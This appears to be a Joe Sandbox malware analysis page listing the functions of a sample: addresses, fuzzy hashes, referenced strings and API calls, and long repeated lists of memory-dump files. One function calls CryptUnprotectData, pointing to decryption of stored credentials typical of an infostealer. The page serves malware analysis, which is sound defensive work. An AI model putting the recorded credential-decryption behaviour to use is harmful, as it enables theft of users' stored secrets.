Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2+__$4h-$7m{$?8[;$Ec\}
API String ID: 0-2479007438
Opcode ID: 3ccc3fd2f6a05e9bfb5a0abdf24e1bf2e994cb28e6b83af97574fb08c989259f
Instruction ID: c750315ee2596114b892901c5599b31bc35929450c90fdaf0bda26f67befa372
Opcode Fuzzy Hash: 3ccc3fd2f6a05e9bfb5a0abdf24e1bf2e994cb28e6b83af97574fb08c989259f
Instruction Fuzzy Hash: A8B239F3A082049FE704AE2DEC8567AB7E9EF94720F1A453DEAC4C7344E97598058693

Function 01285411 Relevance: 7.9, Strings: 5, Instructions: 1614COMMON

Download Yara Rule

Strings

e;k, xrefs: 012861E9
>(so, xrefs: 012855F8
>z/<, xrefs: 01285813
oq?, xrefs: 01285E45
`5}, xrefs: 01285574

Memory Dump Source

Source File: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: >(so$>z/<$`5}$e;k$oq?
API String ID: 0-3442062632
Opcode ID: 4448bcd3853ae5e7670d051a0abc8fde96cbcdf3c863d54c8dbec71363a3aa22
Instruction ID: 7f53b6d5b84524a2610fcdac81b8ff53eb8b2b5aa0aed1736fb2cf628e8a1c31
Opcode Fuzzy Hash: 4448bcd3853ae5e7670d051a0abc8fde96cbcdf3c863d54c8dbec71363a3aa22
Instruction Fuzzy Hash: 92B2F6F360C204AFE3046E29EC8567AFBE9EF94720F16493DE6C4C3744EA7598418697

Function 01283A0E Relevance: 7.8, Strings: 5, Instructions: 1533COMMON

Download Yara Rule

Strings

wZ]v, xrefs: 01283C8F
._~h, xrefs: 01284B85
to, xrefs: 01284C07
+{?, xrefs: 01283D29
w>, xrefs: 012844F7

Memory Dump Source

Source File: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ._~h$wZ]v$w>$+{?$to
API String ID: 0-3463042005
Opcode ID: e37cd688ea8110d9e2ad678afa54e5f83b55c0ad06b50a98ea160cf28fb2dee9
Instruction ID: 24445d38c5b8b70260de40d52c1c2a149d2769d16423e3013e79f0c852932ffb
Opcode Fuzzy Hash: e37cd688ea8110d9e2ad678afa54e5f83b55c0ad06b50a98ea160cf28fb2dee9
Instruction Fuzzy Hash: 6EA237F360C2049FE3046F2DEC8567ABBE9EF94720F1A853DEAC483744EA3558458697

Function 00EC7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00EC724D
RtlAllocateHeap.NTDLL(00000000), ref: 00EC7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00EC7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00EC72A4
LocalFree.KERNEL32(?), ref: 00EC72AE

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 104becde33b92ff46bd2e1461157b073acdbacd70b8c1ae0d509d0939cf30a8d
Instruction ID: a870b2fb9d94344a8bd4ad763b55ba33c0fd08eeac32382db6215b60140e6f13
Opcode Fuzzy Hash: 104becde33b92ff46bd2e1461157b073acdbacd70b8c1ae0d509d0939cf30a8d
Instruction Fuzzy Hash: 6F0140B5A40308BBEB24DBD4DD46F9D7778AB44701F104059FB15BB2C4D6B0AA418B64

Function 0128BE10 Relevance: 6.6, Strings: 4, Instructions: 1620COMMON

Download Yara Rule

Strings

?yo, xrefs: 0128C7DC
WAn, xrefs: 0128CFB7
' o?, xrefs: 0128C5EB
Ulv, xrefs: 0128C412

Memory Dump Source

Source File: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ' o?$?yo$Ulv$WAn
API String ID: 0-152904999
Opcode ID: 1cd2b02d8a803c88ecfeb388c9cd298da7e99c408dca5c54de02e3fa817941a9
Instruction ID: d626686e7194f2076f626b7fc1ccf8a7867885bb22e8a59567d3c2993aaf3e36
Opcode Fuzzy Hash: 1cd2b02d8a803c88ecfeb388c9cd298da7e99c408dca5c54de02e3fa817941a9
Instruction Fuzzy Hash: 6AB2E4F360C204AFE3046E2DEC8567AFBE5EF94320F16493DEAC587744EA3558058697

Function 00ED8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00EC5184,40000001,00000000,00000000,?,00EC5184), ref: 00ED8EC0

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 7c1cfab1a4227254558c828736f56c21e5f594c6d645e725aecd44a6c75f6cbc
Instruction ID: c34a518d7062d05fc6c5d07a17cd2c98fcc940a1db4679dea9fa724ad670a13d
Opcode Fuzzy Hash: 7c1cfab1a4227254558c828736f56c21e5f594c6d645e725aecd44a6c75f6cbc
Instruction Fuzzy Hash: 7611F874600208BFDB04CF64E984FA633AAEF89304F10A559F9299B340DB75E982DB60

Function 00ED7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00EE0E00,00000000,?), ref: 00ED79B0
RtlAllocateHeap.NTDLL(00000000), ref: 00ED79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00EE0E00,00000000,?), ref: 00ED79C4
wsprintfA.USER32 ref: 00ED79F3

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 113284afd500bdcb37418d92ba939f8a9e4e671030505ee2e18c53b44aa7fa9c
Instruction ID: 9c6430193019e79092253c34bcea7f8e2c5b2638c4ba2fe9fb447bd41a856e93
Opcode Fuzzy Hash: 113284afd500bdcb37418d92ba939f8a9e4e671030505ee2e18c53b44aa7fa9c
Instruction Fuzzy Hash: 2C112AB2944218ABCB14DFD9ED45BBEB7F8FB4CB12F10411AF655A2284E2795940C7B0

Function 00ED3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00EDE118,00000000,00000001,00EDE108,00000000), ref: 00ED3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00ED37B0

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: ee3dbc931606177f290133f550e284453de3f0735e773c3d1d988fc295c370e1
Instruction ID: 3a5a858a3c8598385ae9368f0ee89dead2a36963bef1c2a124236c8cd4695b99
Opcode Fuzzy Hash: ee3dbc931606177f290133f550e284453de3f0735e773c3d1d988fc295c370e1
Instruction Fuzzy Hash: 76410974A00A189FDB24DB58CC84B9BB7B5FB48302F4051D9E608AB2D0D7B16EC6CF50

Function 0120B064 Relevance: 2.7, Strings: 2, Instructions: 202COMMON

Download Yara Rule

Strings

]2oW, xrefs: 0120B29C
9"?{, xrefs: 0120B166

Memory Dump Source

Source File: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
